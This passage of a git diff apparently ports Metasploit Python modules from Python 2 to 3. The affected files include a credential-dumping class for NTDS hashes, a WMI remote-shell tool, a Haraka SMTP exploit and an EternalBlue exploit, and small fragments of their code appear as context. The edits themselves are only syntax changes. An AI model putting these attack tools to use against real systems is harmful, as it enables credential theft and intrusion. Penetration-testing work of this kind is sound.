DumpSecrets: printUserStatus=self.__printUserStatus, perSecretCallback=self.perSecretCallback2) try: self.__NTDSHashes.dump() - except Exception, e: + except Exception as e: if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. @@ -219,7 +219,7 @@ class DumpSecrets: elif self.__useVSSMethod is False: logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') self.cleanup() - except (Exception, KeyboardInterrupt), e: + except (Exception, KeyboardInterrupt) as e: logging.error(e, exc_info=True) try: self.cleanup() @@ -253,7 +253,7 @@ def run(args): dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], args['OutputFile'], args['ExecMethod']) try: dumper.dump() - except Exception, e: + except Exception as e: logging.error(e, exc_info=True) if __name__ == "__main__": diff --git a/modules/auxiliary/scanner/smb/impacket/wmiexec.py b/modules/auxiliary/scanner/smb/impacket/wmiexec.py index f843ad3de8..7967f6f66c 100755 --- a/modules/auxiliary/scanner/smb/impacket/wmiexec.py +++ b/modules/auxiliary/scanner/smb/impacket/wmiexec.py @@ -90,12 +90,12 @@ class WMIEXEC: dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() - win32Process,_ = iWbemServices.GetObject('Win32_Process') + win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': diff --git a/modules/auxiliary/scanner/teradata/teradata_odbc_login.py b/modules/auxiliary/scanner/teradata/teradata_odbc_login.py index 235fac7096..ed12cf1258 100755 --- a/modules/auxiliary/scanner/teradata/teradata_odbc_login.py +++ b/modules/auxiliary/scanner/teradata/teradata_odbc_login.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2.7 +#!/usr/bin/env python # -*- coding: utf-8 -*- #2018-05-29 08-49 diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py index 071adc3a81..0892cb293a 100755 --- a/modules/exploits/linux/smtp/haraka.py +++ b/modules/exploits/linux/smtp/haraka.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2.7 +#!/usr/bin/env python # Vendor Homepage: https://haraka.github.io/ # Software Link: https://github.com/haraka/Haraka @@ -20,7 +20,11 @@ from email.utils import formataddr from email.mime.text import MIMEText from datetime import datetime import zipfile -import StringIO +try: + # Python 2 plain strings are bytes + from StringIO import StringIO as BytesIO +except ImportError: + from io import BytesIO from metasploit import module metadata = { @@ -88,7 +92,7 @@ def send_mail(to, mailserver, cmd, mfrom, port): class InMemoryZip(object): def __init__(self): - self.in_memory_zip = StringIO.StringIO() + self.in_memory_zip = BytesIO() def append(self, filename_in_zip, file_contents): zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False) zf.writestr(filename_in_zip, file_contents) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py index a3c66031cb..7302ad9995 100755 --- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py +++ b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2.7 +#!/usr/bin/env python import sys import socket @@ -435,15 +435,15 @@ def createSessionAllocNonPaged(target, port, size, username, password): if not dependencies_missing: class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters): structure = ( - ('TotalParameterCount','